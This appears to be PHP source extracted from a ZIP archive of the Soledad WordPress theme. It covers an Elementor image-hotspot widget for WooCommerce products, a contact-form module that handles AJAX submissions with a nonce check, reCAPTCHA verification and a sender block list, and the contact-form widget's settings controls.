				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .hotspot-content a.button' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'item_title_btn_txt_hv_color', array(
				'label'     => __( 'Button Text Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .hotspot-content a.button:hover' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'item_title_btn_typo',
				'label'    => __( 'Product Button Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .hotspot-content a.button',
			)
		);

		$this->end_controls_section();
	}

	/**
	 * Render the widget output on the frontend.
	 *
	 * Written in PHP and used to generate the final HTML.
	 *
	 * @since 1.0.0
	 *
	 * @access protected
	 */
	protected function render() {
		$default_settings = [
			'image'  => '',
			'action' => 'hover',
			'icon'   => 'default',
			'items'  => [],
		];

		$settings     = wp_parse_args( $this->get_settings_for_display(), $default_settings );
		$image_output = '';

		$this->add_render_attribute(
			[
				'wrapper' => [
					'class' => [
						'penci-image-hotspot-wrapper',
						'hotspot-action-' . $settings['action'],
						'hotspot-icon-' . $settings['icon'],
					],
				],
			]
		);

		if ( isset( $settings['image']['id'] ) && $settings['image']['id'] ) {
			$image_url    = penci_get_image_url( $settings['image']['id'], 'image', $settings );
			$image_output = '<img class="penci-image-hotspot-img" src="' . esc_url( $image_url ) . '">';
		} elseif ( isset( $settings['image']['url'] ) ) {
			$image_output = '<img class="penci-image-hotspot-img" src="' . esc_url( $settings['image']['url'] ) . '">';
		}

		?>
        <div <?php echo $this->get_render_attribute_string( 'wrapper' ); ?>>
            <div class="penci-image-hotspot-hotspots">
				<?php if ( $image_output ) : ?>
					<?php echo $image_output; // phpcs:ignore ?>
				<?php endif; ?>

				<?php foreach ( $settings['items'] as $index => $item ) : ?>
					<?php
					$default_settings = [
						'hotspot'               => '',
						'hotspot_type'          => 'product',
						'hotspot_dropdown_side' => 'left',
						'product_id'            => '',
						'title'                 => '',
						'link_text'             => '',
						'link'                  => '',
						'image'                 => '',
					];

					$settings   = wp_parse_args( $item, $default_settings );
					$attributes = '';
					$args       = [];

					if ( 'product' === $settings['hotspot_type'] && $settings['product_id'] ) {
						$product = wc_get_product( $settings['product_id'] );

						if ( ! $product ) {
							return;
						}

						$args = array(
							'class'      => implode(
								' ',
								array_filter(
									array(
										'button',
										'product_type_' . $product->get_type(),
										$product->is_purchasable() && $product->is_in_stock() ? 'add_to_cart_button' : '',
										$product->supports( 'ajax_add_to_cart' ) ? 'ajax_add_to_cart' : '',
									)
								)
							),
							'attributes' => wc_implode_html_attributes(
								array(
									'data-product_id' => $product->get_id(),
									'rel'             => 'nofollow',
								)
							),
						);

					}

					if ( 'text' === $settings['hotspot_type'] && ( $settings['title'] || $settings['content'] || $settings['link_text'] || isset( $settings['image']['id'] ) ) ) {
						$attributes   = penci_el_get_link_attrs( $settings['link'] );
						$image_output = '';

						if ( isset( $settings['image']['id'] ) && $settings['image']['id'] ) {
							$image_output = penci_get_image_html( $settings, 'image' );
						}
					}

					?>
                    <div class="woocommerce penci-image-hotspot hotspot-type-<?php echo esc_attr( $settings['hotspot_type'] ); ?> elementor-repeater-item-<?php echo esc_attr( $item['_id'] ); ?>">
                        <span class="hotspot-sonar"></span>
                        <div class="hotspot-btn penci-fill"></div>

						<?php if ( 'product' === $settings['hotspot_type'] && isset( $product ) && $product ) : ?>
                            <div class="hotspot-product hotspot-content hotspot-dropdown-<?php echo esc_attr( $settings['hotspot_dropdown_side'] ); ?>">
                                <div class="hotspot-content-image">
                                    <a href="<?php echo esc_url( get_permalink( $product->get_ID() ) ); ?>">
										<?php echo $product->get_image(); ?>
                                    </a>
                                </div>

                                <h4 class="penci-product-title">
                                    <a href="<?php echo esc_url( get_permalink( $product->get_ID() ) ); ?>">
										<?php echo esc_html( $product->get_title() ); ?>
                                    </a>
                                </h4>

								<?php if ( wc_review_ratings_enabled() ) : ?>
									<?php echo wc_get_rating_html( $product->get_average_rating(), $product->get_rating_count() ); ?>
								<?php endif; ?>

                                <div class="price">
									<?php echo $product->get_price_html(); ?>
                                </div>

                                <a href="<?php echo esc_url( $product->add_to_cart_url() ); ?>"
                                   class="<?php echo esc_attr( $args['class'] ); ?>" <?php echo $args['attributes']; ?>>
									<?php echo esc_html( $product->add_to_cart_text() ); ?>
                                </a>
                            </div>
						<?php else : ?>
                            <div class="hotspot-text hotspot-content hotspot-dropdown-<?php echo esc_attr( $settings['hotspot_dropdown_side'] ); ?>">
                                <div class="hotspot-content-image">
									<?php echo $image_output; ?>
                                </div>

                                <h4 class="penci-product-title">
									<?php echo esc_html( $settings['title'] ); ?>
                                </h4>

                                <div class="hotspot-content-text set-cont-mb-s reset-last-child">
									<?php echo esc_html( $settings['content'] ); ?>
                                </div>

                                <a class="btn btn-color-primary btn-size-small" <?php echo $attributes; ?>>
									<?php echo esc_html( $settings['link_text'] ); ?>
                                </a>
                            </div>
						<?php endif; ?>
                    </div>
				<?php endforeach; ?>
            </div>
        </div>
		<?php
	}
}
PK     0w\$  $  /  elementor/modules/penci-contact-form/module.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciContactForm;

use PenciSoledadElementor\Base\Module_Base;
use Elementor\Plugin;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-contact-form';
	}

	public function get_widgets() {
		return array( 'PenciContactForm' );
	}

	public function is_valid_captcha( $validate ) {

		if ( isset( $_POST['g-recaptcha-response'] ) && ! empty( $validate['recaptcha_secret_key'] ) ) {
			$request  = wp_remote_get( 'https://www.google.com/recaptcha/api/siteverify?secret=' . $validate['recaptcha_secret_key'] . '&response=' . esc_textarea( $_POST["g-recaptcha-response"] ) );
			$response = wp_remote_retrieve_body( $request );

			$result = json_decode( $response, true );

			if ( isset( $result['success'] ) && $result['success'] == 1 ) {
				// Captcha ok
				return true;
			} else {
				// Captcha failed;
				return false;
			}
		}

		return false;
	}


	public function normalize_email( $email ) {
		/**
		 * Split the email into local part and domain
		 */
		list( $local, $domain ) = explode( '@', $email );

		/**
		 * Remove any text after the plus sign in the local part
		 */
		if ( ( $plusPos = strpos( $local, '+' ) ) !== false ) {
			$local = substr( $local, 0, $plusPos );
		}

		/**
		 * Return the normalized email
		 */
		return $local . '@' . $domain;
	}

	public function are_emails_same( $email1, $email2 ) {
		return $this->normalize_email( $email1 ) === $this->normalize_email( $email2 );
	}

	private function find_element_recursive( $elements, $form_id ) {

		foreach ( $elements as $element ) {
			if ( $form_id === $element['id'] ) {
				return $element;
			}

			if ( ! empty( $element['elements'] ) ) {
				$element = $this->find_element_recursive( $element['elements'], $form_id );

				if ( $element ) {
					return $element;
				}
			}
		}

		return false;
	}

	public function get_widget_settings( $post_id, $widget_id ) {
		if ( ! $post_id || ! $widget_id ) {
			return "Invalid request";
		}

		$elementor = Plugin::$instance;
		$pageMeta  = $elementor->documents->get( $post_id );

		if ( ! $pageMeta ) {
			return "Invalid Post or Page ID";
		}
		$metaData = $pageMeta->get_elements_data();
		if ( ! $metaData ) {
			return "Page page is not under elementor";
		}

		$widget_data = $this->find_element_recursive( $metaData, $widget_id );
		$settings    = [];


		if ( is_array( $widget_data ) ) {
			$widget   = $elementor->elements_manager->create_element_instance( $widget_data );
			$settings = $widget->get_settings();
		}

		return $settings;
	}

	public function contact_form() {

		$email               = get_bloginfo( 'admin_email' );
		$error_empty         = penci_get_setting( 'penci_trans_error_empty' );
		$error_noemail       = penci_get_setting( 'penci_trans_error_noemail' );
		$error_same_as_admin = penci_get_setting( 'penci_trans_error_same_as_admin' );
		$error_spam_email    = penci_get_setting( 'penci_trans_error_spam_email' );
		$result              = penci_get_setting( 'penci_trans_result' );

		if ( $_SERVER['REQUEST_METHOD'] == 'POST' ) {

			if ( ! wp_verify_nonce( $_REQUEST['_wpnonce'], 'simpleContactForm' ) ) {
				$result = esc_html__( 'Security check failed!', 'soledad' );
				echo '<span class="pencif-text-warning">' . esc_html( $result ) . '</span>';
				wp_die();
			}

			$post_id         = sanitize_text_field( $_REQUEST['page_id'] );
			$widget_id       = sanitize_text_field( $_REQUEST['widget_id'] );
			$widget_settings = $this->get_widget_settings( $post_id, $widget_id );

			if ( ! empty( $widget_settings['custom_email_to'] ) ) {
				$email = $widget_settings['custom_email_to'];
			}

			$error = false;

			// this part fetches everything that has been POSTed, sanitizes them and lets us use them as $form_data['subject']
			foreach ( $_POST as $field => $value ) {
				if ( is_email( $value ) ) {
					$value = sanitize_email( $value );
				} else {
					$value = sanitize_textarea_field( $value );
				}

				$form_data[ $field ] = strip_tags( $value );
			}


			foreach ( $form_data as $key => $value ) {
				$value = trim( $value );
				if ( empty( $value ) ) {
					$error  = true;
					$result = $error_empty;
				}
			}

			$success = sprintf( penci_get_setting( 'penci_trans_email_success' ), $form_data['name'] );

			// and if the e-mail is not valid, switch $error to TRUE and set the result text to the shortcode attribute named 'error_noemail'
			if ( ! is_email( $form_data['email'] ) ) {
				$error  = true;
				$result = $error_noemail;
			}

			/**
			 * Stop spamming
			 */
			if ( ! $error ) {
				$admin_email = get_option( 'admin_email' );
				if ( $this->are_emails_same( wp_kses_post( trim( $form_data['email'] ) ), $admin_email ) || $admin_email == wp_kses_post( trim( $form_data['email'] ) ) || $email == wp_kses_post( trim( $form_data['email'] ) ) ) {
					$error  = true;
					$result = $error_same_as_admin;
				} else {
					if ( isset( $widget_settings['contact_form_spam_email'] ) ) {
						$spam_email_list = $widget_settings['contact_form_spam_email'];
						$final_spam_list = explode( ',', $spam_email_list );
						foreach ( $final_spam_list as $spam_email ) {
							if ( trim( $form_data['email'] ) == trim( $spam_email ) ) {
								$error  = true;
								$result = $error_spam_email;
								break;
							}
						}
					}
				}
			}

			/** Recaptcha*/

			if ( isset( $widget_settings['show_recaptcha'] ) && $widget_settings['show_recaptcha'] == 'yes' ) {
				if ( ! empty( $widget_settings['recaptcha_site_key'] ) && ! empty( $widget_settings['recaptcha_secret_key'] ) ) {
					if ( ! $this->is_valid_captcha( [
						'recaptcha_site_key'   => $widget_settings['recaptcha_site_key'],
						'recaptcha_secret_key' => $widget_settings['recaptcha_secret_key'],
					] ) ) {
						$error  = true;
						$result = esc_html__( "reCAPTCHA is invalid!", "soledad" );
					}
				}
			}


			$contact_number  = isset( $form_data['contact'] ) ? esc_attr( $form_data['contact'] ) : '';
			$contact_subject = isset( $form_data['subject'] ) ? esc_attr( $form_data['subject'] ) : '';

			// but if $error is still FALSE, put together the POSTed variables and send the e-mail!
			if ( $error == false ) {
				// get the website's name and puts it in front of the subject
				$email_subject = "[" . get_bloginfo( 'name' ) . "] " . $contact_subject;
				// get the message from the form and add the IP address of the user below it
				$email_message = $this->message_html( $form_data['message'], $form_data['name'], $form_data['email'], $contact_number );
				// set the e-mail headers with the user's name, e-mail address and character encoding
				$headers = "Reply-To: " . $form_data['name'] . " <" . $form_data['email'] . ">\n";
				$headers .= "Content-Type: text/html; charset=UTF-8\n";
				$headers .= "Content-Transfer-Encoding: 8bit\n";
				// send the e-mail with the shortcode attribute named 'email' and the POSTed data
				wp_mail( $email, html_entity_decode( $email_subject ), $email_message, $headers );
				// and set the result text to the shortcode attribute named 'success'
				$result = $success;
				// ...and switch the $sent variable to TRUE
				$sent = true;
			}


			$redirect_url = ( isset( $form_data['redirect-url'] ) && ! empty( $form_data['redirect-url'] ) ) ? esc_url( $form_data['redirect-url'] ) : 'no';
			$is_external  = ( isset( $form_data['is-external'] ) && ! empty( $form_data['is-external'] ) ) ? esc_attr( $form_data['is-external'] ) : 'no';

			$reset_status = ( isset( $form_data['reset-after-submit'] ) && ( $form_data['reset-after-submit'] == 'yes' ) ) ? 'yes' : 'no';

			if ( $error == false ) {
				echo '<div class="pencif-text-notice pencif-text-success" data-resetstatus="' . esc_html( $reset_status ) . '"  data-redirect="' . wp_kses_post( $redirect_url ) . '" data-external="' . esc_attr( $is_external ) . '">' . esc_html( $result ) . '</div>';
				// wp_redirect( $form_data['redirect_url'] );
			} else {
				echo '<div class="pencif-text-notice pencif-text-warning">' . esc_html( $result ) . '</div>';
			}
		}

		die;
	}

	public static function get_client_ip() {
		$server_ip_keys = [
			'HTTP_CLIENT_IP',
			'HTTP_X_FORWARDED_FOR',
			'HTTP_X_FORWARDED',
			'HTTP_X_CLUSTER_CLIENT_IP',
			'HTTP_FORWARDED_FOR',
			'HTTP_FORWARDED',
			'REMOTE_ADDR',
		];

		foreach ( $server_ip_keys as $key ) {
			if ( isset( $_SERVER[ $key ] ) && filter_var( $_SERVER[ $key ], FILTER_VALIDATE_IP ) ) {
				return $_SERVER[ $key ];
			}
		}

		// Fallback local ip.
		return '127.0.0.1';
	}

	public function message_html( $message, $name, $email, $number = '' ) {

		$fullmsg = "<html lang='en-US'><body style='background-color: #f5f5f5; padding: 35px;'>";
		$fullmsg .= "<div style='max-width: 768px; margin: 0 auto; background-color: #fff; padding: 50px 35px;'>";
		$fullmsg .= nl2br( $message );
		$fullmsg .= "<br><br>";
		$fullmsg .= "<b>" . esc_html( $name ) . "<b><br>";
		$fullmsg .= esc_html( $email ) . "<br>";
		$fullmsg .= ( $number ) ? esc_html( $number ) . "<br>" : "";
		$fullmsg .= "<em>IP: " . self::get_client_ip() . "</em>";
		$fullmsg .= "</div>";
		$fullmsg .= "</body></html>";

		return $fullmsg;
	}

	public function __construct() {
		parent::__construct();

		add_action( 'wp_ajax_penci_contact_form', [ $this, 'contact_form' ] );
		add_action( 'wp_ajax_nopriv_penci_contact_form', [ $this, 'contact_form' ] );
	}
}
PK     0w\?    C  elementor/modules/penci-contact-form/widgets/penci-contact-form.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciContactForm\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Border;
use Elementor\Group_Control_Typography;
use Elementor\Group_Control_Box_Shadow;
use Elementor\Group_Control_Background;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
} // Exit if accessed directly

class PenciContactForm extends Base_Widget {

	public function get_name() {
		return 'penci-contact-form';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Contact Form', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-form-horizontal';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return [ 'contact', 'form', 'email' ];
	}

	public function get_script_depends() {
		return [ 'recaptcha', 'penci-contact-form' ];
	}

	protected function register_controls() {
		$this->start_controls_section(
			'section_forms_layout',
			[
				'label' => esc_html__( 'Forms Layout', 'soledad' ),
			]
		);

		$this->add_control(
			'show_labels',
			[
				'label'   => esc_html__( 'Label', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => 'yes',
			]
		);

		$this->add_control(
			'contact_number',
			[
				'label' => esc_html__( 'Contact Number Field', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			]
		);

		$this->add_control(
			'show_subject',
			[
				'label'   => esc_html__( 'Subject Field', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => 'yes',
			]
		);

		$this->add_control(
			'show_message',
			[
				'label'   => esc_html__( 'Message Field', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => 'yes',
			]
		);

		$this->add_control(
			'two_columns',
			[
				'label' => esc_html__( 'Two Columns', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			]
		);

		$this->add_control(
			'name_email_field_inline',
			[
				'label'     => esc_html__( 'Name/Email Field Inline', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'condition' => [
					'two_columns' => ''
				]
			]
		);

		$this->add_responsive_control(
			'text_align',
			[
				'label'     => esc_html__( 'Text Align', 'soledad' ),
				'type'      => Controls_Manager::CHOOSE,
				'default'   => 'left',
				'options'   => [
					'left'   => [
						'title' => esc_html__( 'Left', 'soledad' ),
						'icon'  => 'eicon-text-align-left',
					],
					'center' => [
						'title' => esc_html__( 'Center', 'soledad' ),
						'icon'  => 'eicon-text-align-center',
					],
					'right'  => [
						'title' => esc_html__( 'Right', 'soledad' ),
						'icon'  => 'eicon-text-align-right',
					],
				],
				'selectors' => [
					'{{WRAPPER}} .pencif-contact-form, {{WRAPPER}} .pencif-contact-form input, {{WRAPPER}} .pencif-contact-form textarea' => 'text-align: {{VALUE}};',
				],
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_content_submit_button',
			[
				'label' => esc_html__( 'Submit Button', 'soledad' ),
			]
		);

		$this->add_control(
			'button_text',
			[
				'label'   => esc_html__( 'Text', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => esc_html__( 'Send Message', 'soledad' ),
			]
		);

		$this->add_control(
			'button_size',
			[
				'label'   => esc_html__( 'Size', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => [
					''           => esc_html__( 'Default', 'soledad' ),
					'small'      => esc_html__( 'Small', 'soledad' ),
					'large'      => esc_html__( 'Large', 'soledad' ),
					'full-width' => esc_html__( 'Full Width', 'soledad' ),
				],
			]
		);

		$this->add_responsive_control(
			'align',
			[
				'label'   => esc_html__( 'Alignment', 'soledad' ),
				'type'    => Controls_Manager::CHOOSE,
				'default' => '',
				'options' => [
					'start'   => [
						'title' => esc_html__( 'Left', 'soledad' ),
						'icon'  => 'eicon-text-align-left',
					],
					'center'  => [
						'title' => esc_html__( 'Center', 'soledad' ),
						'icon'  => 'eicon-text-align-center',
					],
					'end'     => [
						'title' => esc_html__( 'Right', 'soledad' ),
						'icon'  => 'eicon-text-align-right',
					],
					'stretch' => [
						'title' => esc_html__( 'Justified', 'soledad' ),
						'icon'  => 'eicon-text-align-justify',
					],
				],
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_forms_additional_options',
			[
				'label' => esc_html__( 'Additional Options', 'soledad' ),
			]
		);

		$this->add_control(
			'user_name_heading',
			[
				'label'     => esc_html__( 'Name Field', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			]
		);

		$this->add_control(
			'user_name_label',
			[
				'label'     => esc_html__( 'Label', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'default'   => esc_html__( 'Name*', 'soledad' ),
				'condition' => [
					'show_labels' => 'yes',
				],
			]
		);


		$this->add_control(
			'user_name_placeholder',
			[
				'label'   => esc_html__( 'Placeholder', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => esc_html__( 'Your Name', 'soledad' ),
			]
		);

		$this->add_control(
			'contact_heading',
			[
				'label'     => esc_html__( 'Contact Number Field', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			]
		);

		$this->add_control(
			'contact_label',
			[
				'label'     => esc_html__( 'Label', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'default'   => esc_html__( 'Contact Number', 'soledad' ),
				'condition' => [
					'show_labels' => 'yes',
				],
			]
		);

		$this->add_control(
			'contact_placeholder',
			[
				'label'   => esc_html__( 'Placeholder', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => esc_html__( 'Your contact number', 'soledad' ),
			]
		);

		$this->add_control(
			'subject_heading',
			[
				'label'     => esc_html__( 'Subject Field', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			]
		);

		$this->add_control(
			'subject_label',
			[
				'label'     => esc_html__( 'Label', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'default'   => esc_html__( 'Subject*', 'soledad' ),
				'condition' => [
					'show_labels' => 'yes',
				],
			]
		);

		$this->add_control(
			'subject_placeholder',
			[
				'label'   => esc_html__( 'Placeholder', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => esc_html__( 'Your message subject', 'soledad' ),
			]
		);

		$this->add_control(
			'email_address_heading',
			[
				'label'     => esc_html__( 'Email Field', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			]
		);

		$this->add_control(
			'email_address_label',
			[
				'label'     => esc_html__( 'Label', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'default'   => esc_html__( 'Email*', 'soledad' ),
				'condition' => [
					'show_labels' => 'yes',
				],
			]
		);

		$this->add_control(
			'email_placeholder',
			[
				'label'   => esc_html__( 'Placeholder', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => esc_html__( 'example@email.com', 'soledad' ),
			]
		);

		$this->add_control(
			'message_label_heading',
			[
				'label'     => esc_html__( 'Message Field', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			]
		);

		$this->add_control(
			'message_label',
			[
				'label'     => esc_html__( 'Label', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'default'   => esc_html__( 'Your Message*', 'soledad' ),
				'condition' => [
					'show_labels' => 'yes',
				],
			]
		);

		$this->add_control(
			'message_placeholder',
			[
				'label'     => esc_html__( 'Placeholder', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'default'   => esc_html__( 'Your Message Here', 'soledad' ),
				'separator' => 'after',
			]
		);

		$this->add_control(
			'show_additional_message',
			[
				'label' => esc_html__( 'Additional Bottom Message', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			]
		);

		$this->add_control(
			'additional_message',
			[
				'label'       => esc_html__( 'Message', 'soledad' ),
				'label_block' => true,
				'type'        => Controls_Manager::TEXTAREA,
				'default'     => esc_html__( 'Note: You have to fill-up above all respective field, then click below button for send your message', 'soledad' ),
				'condition'   => [
					'show_additional_message' => 'yes',
				],
			]
		);

		$this->add_control(
			'show_recaptcha',
			[
				'label'       => esc_html__( 'reCAPTCHA Enable', 'soledad' ),
				'description' => __( 'Please follow <a target="_blank" href="https://www.google.com/recaptcha/admin">this link</a> to get the reCAPTCHA keys for your site.', 'soledad' ),
				'type'        => Controls_Manager::SWITCHER,
				'default'     => 'yes',
			]
		);

		$this->add_control(
			'recaptcha_site_key',
			[
				'label'       => esc_html__( 'reCAPTCHA Site Key', 'soledad' ),
				'label_block' => true,
				'type'        => Controls_Manager::TEXT,
				'condition'   => [
					'show_recaptcha' => 'yes',
				],
			]
		);

		$this->add_control(
			'recaptcha_secret_key',
			[
				'label'       => esc_html__( 'reCAPTCHA Secret Key', 'soledad' ),
				'label_block' => true,
				'type'        => Controls_Manager::TEXT,
				'condition'   => [
					'show_recaptcha' => 'yes',
				],
			]
		);

		$this->add_control(
			'hide_recaptcha_badge',
			[
				'label'     => esc_html__( 'Hide reCAPTCHA Bagde', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'condition' => [
					'show_recaptcha' => 'yes',
				],
			]
		);

		$this->add_control(
			'message_rows',
			[
				'label'   => esc_html__( 'Message Rows', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '5',
				'options' => [
					'1'  => '1',
					'2'  => '2',
					'3'  => '3',
					'4'  => '4',
					'5'  => '5',
					'6'  => '6',
					'7'  => '7',
					'8'  => '8',
					'9'  => '9',
					'10' => '10',
				],
			]
		);

		$this->add_control(
			'redirect_after_submit',
			[
				'label'     => esc_html__( 'Redirect After Submit', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'separator' => 'before',
			]
		);

		$this->add_control(
			'redirect_url',
			[
				'type'          => Controls_Manager::URL,
				'show_label'    => false,
				'show_external' => false,
				'separator'     => false,
				'placeholder'   => 'http://your-link.com/',
				'description'   => esc_html__( 'Note: Because of security reasons, you can ONLY use your current domain here.', 'soledad' ),
				'condition'     => [
					'redirect_after_submit' => 'yes',
				],
				'dynamic'       => [ 'active' => true ],
			]
		);

		$this->add_control(
			'reset_after_submit',
			[
				'label' => esc_html__( 'Reset After Submit', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			]
		);

		$this->add_control(
			'transhelp',
			[
				'raw'             => __( 'Please follow <a target="_blank" href="' . admin_url( 'customize.php?autofocus[section]=pencidesign_new_section_transition_lang_section' ) . '">this link</a> to edit the form confirmation content.', 'soledad' ),
				'type'            => Controls_Manager::RAW_HTML,
				'separator'       => 'before',
				'content_classes' => 'elementor-panel-alert elementor-panel-alert-info',
			]
		);


		$this->end_controls_section();

		$this->start_controls_section(
			'section_email_settings',
			[
				'label' => esc_html__( 'Email Settings', 'soledad' ),
			]
		);

		$this->add_control(
			'custom_email_to',
			[
				'label'       => esc_html__( 'Custom Received Email', 'soledad' ),
				'label_block' => true,
				'type'        => Controls_Manager::TEXT,
			]
		);

		$this->add_control(
			'contact_form_spam_email',
			[
				'label'       => esc_html__( 'Never Received Email from Email on This List', 'soledad' ),
				'description' => esc_html__( 'Separate email by commas', 'soledad' ),
				'type'        => Controls_Manager::TEXTAREA,
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style',
			[
				'label' => esc_html__( 'Form Style', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->add_responsive_control(
			'row_gap',
			[
				'label'     => esc_html__( 'Rows Gap', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min' => 0,
						'max' => 60,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .pencif-field-group:not(:last-child)'                  => 'margin-bottom: {{SIZE}}{{UNIT}};margin-top: 0;',
					'{{WRAPPER}} form.pencif-2col .pencif-col .pencif-field-group'      => 'margin-bottom: {{SIZE}}{{UNIT}}',
					'{{WRAPPER}} .pencif-name-email-inline + .pencif-name-email-inline' => 'padding-left: {{SIZE}}px',
				],
			]
		);
		
		$this->add_responsive_control(
			'col_gap',
			[
				'label'     => esc_html__( 'Columns Gap', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min' => 0,
						'max' => 60,
					],
				],
				'condition' => [
					'two_columns' => 'yes'
				],
				'selectors' => [
					'{{WRAPPER}} form.pencif-2col'                  => 'column-gap: {{SIZE}}{{UNIT}};',
				],
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_labels',
			[
				'label'     => esc_html__( 'Label', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'show_labels!' => '',
				],
			]
		);

		$this->add_control(
			'label_spacing',
			[
				'label'     => esc_html__( 'Spacing', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min' => 0,
						'max' => 50,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .pencif-field-group > label' => 'margin-bottom: {{SIZE}}{{UNIT}};',
				],
			]
		);

		$this->add_control(
			'label_color',
			[
				'label'     => esc_html__( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .pencif-form-label' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'label_typography',
				'selector' => '{{WRAPPER}} .pencif-form-label',
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_field_style',
			[
				'label' => esc_html__( 'Fields', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->start_controls_tabs( 'tabs_field_style' );

		$this->start_controls_tab(
			'tab_field_normal',
			[
				'label' => esc_html__( 'Normal', 'soledad' ),
			]
		);

		$this->add_control(
			'field_text_color',
			[
				'label'     => esc_html__( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .pencif-field-group .pencif-input' => 'color: {{VALUE}};',
					'{{WRAPPER}} .pencif-field-group textarea'      => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'field_placeholder_color',
			[
				'label'     => esc_html__( 'Placeholder Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .pencif-field-group .pencif-input::placeholder' => 'color: {{VALUE}};',
					'{{WRAPPER}} .pencif-field-group textarea::placeholder'      => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'field_background_color',
			[
				'label'     => esc_html__( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .pencif-field-group .pencif-input' => 'background-color: {{VALUE}};',
					'{{WRAPPER}} .pencif-field-group textarea'      => 'background-color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name'        => 'field_border',
				'label'       => esc_html__( 'Border', 'soledad' ),
				'placeholder' => '1px',
				'default'     => '1px',
				'selector'    => '{{WRAPPER}} .pencif-field-group .pencif-input, {{WRAPPER}} .pencif-field-group textarea',
				'separator'   => 'before',
			]
		);

		$this->add_control(
			'field_border_radius',
			[
				'label'      => esc_html__( 'Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .pencif-field-group .pencif-input' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
					'{{WRAPPER}} .pencif-field-group textarea'      => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'name'     => 'field_box_shadow',
				'selector' => '{{WRAPPER}} .pencif-field-group .pencif-input, {{WRAPPER}} .pencif-field-group textarea',
			]
		);

		$this->add_responsive_control(
			'field_padding',
			[
				'label'      => esc_html__( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', 'em', '%' ],
